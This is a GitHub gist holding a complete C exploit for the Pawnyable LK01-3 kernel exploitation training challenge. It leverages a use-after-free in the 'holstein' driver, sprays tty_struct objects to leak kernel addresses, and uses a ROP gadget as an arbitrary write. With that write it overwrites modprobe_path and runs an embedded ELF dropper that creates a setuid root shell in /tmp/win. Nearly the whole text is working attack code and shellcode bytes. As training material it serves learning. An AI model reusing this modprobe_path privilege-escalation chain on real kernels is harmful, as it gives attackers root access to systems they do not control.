Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active November 28, 2022 09:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/13c535c8e1b1767dee25a320bef49e1c to your computer and use it in GitHub Desktop.
Save brant-ruan/13c535c8e1b1767dee25a320bef49e1c to your computer and use it in GitHub Desktop.
Pawnyable LK01-3
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define SPRAY_NUM 100
#define ofs_tty_ops 0xc39c60
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06)
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8)
#define modprobe_path (kbase + 0xe38480)
int fd1, fd2, fd3, fd4;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x400];
char win_condition[] = "/tmp/evil";
/*
* Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods
* Dropper...:
* fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC);
* write(fd, shellcode, shellcodeLen);
* chmod("/tmp/win", 0x4755);
* close(fd);
* exit(0)
*
* ... who drops some shellcode ELF:
* setuid(0);
* setgid(0);
* execve("/bin/sh", ["/bin/sh"], NULL);
*/
unsigned char dropper[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00,
0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05,
0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00,
0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0,
0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03,
0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00,
0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a,
0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f,
0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70,
0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c,
0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff,
0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0,
0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96,
0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb,
0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89,
0xe6, 0xb0, 0x3b, 0x0f, 0x05};
int cache_fd = -1;
void AAW32(unsigned long addr, unsigned int val) {
printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
if (cache_fd == -1) {
read(fd4, buf, 0x400);
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
write(fd4, buf, 0x20);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
int v = ioctl(spray[i], val, addr /* rdx */);
if (v != -1) {
printf("[+] target tty_struct index: #%d\n", i);
cache_fd = spray[i];
break;
}
}
} else
ioctl(cache_fd, val, addr);
}
int main() {
puts("[*] UAF: open fd1, fd2; close fd1");
fd1 = open("/dev/holstein", O_RDWR);
fd2 = open("/dev/holstein", O_RDWR);
close(fd1); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] leaking kernel base and g_buf with tty_struct\n");
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
g_buf = *(unsigned long *)&buf[0x38] - 0x38;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
printf("[+] leaked g_buf address: 0x%lx\n", g_buf);
if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
printf("[-] heap spraying failed\n");
for (int i = 0; i < SPRAY_NUM / 2; i++)
close(spray[i]);
exit(-1);
}
*(unsigned long *)&buf[0x3f8] = mov_ptr_rdx_rcx_ret;
write(fd2, buf, 0x400);
puts("[*] UAF-2: open fd3, fd4; close fd3");
fd3 = open("/dev/holstein", O_RDWR);
fd4 = open("/dev/holstein", O_RDWR);
close(fd3); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
for (int i = 0; i < sizeof(win_condition); i += 4)
AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]);
FILE *fptr = fopen(win_condition, "w");
if (!fptr) {
puts("[!] Failed to open win condition");
exit(-1);
}
if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) {
puts("[!] Failed to write win condition");
exit(-1);
}
fclose(fptr);
if (chmod(win_condition, 0777) < 0) {
puts("[!] Failed to chmod win condition");
exit(-1);
};
puts("[+] win_condition (dropper) written to /tmp/evil");
puts("[*] triggering modprobe");
system("chmod +x /tmp/evil");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn"); // trigger modprobe_path
puts("[*] spawning root shell");
system("/tmp/win");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment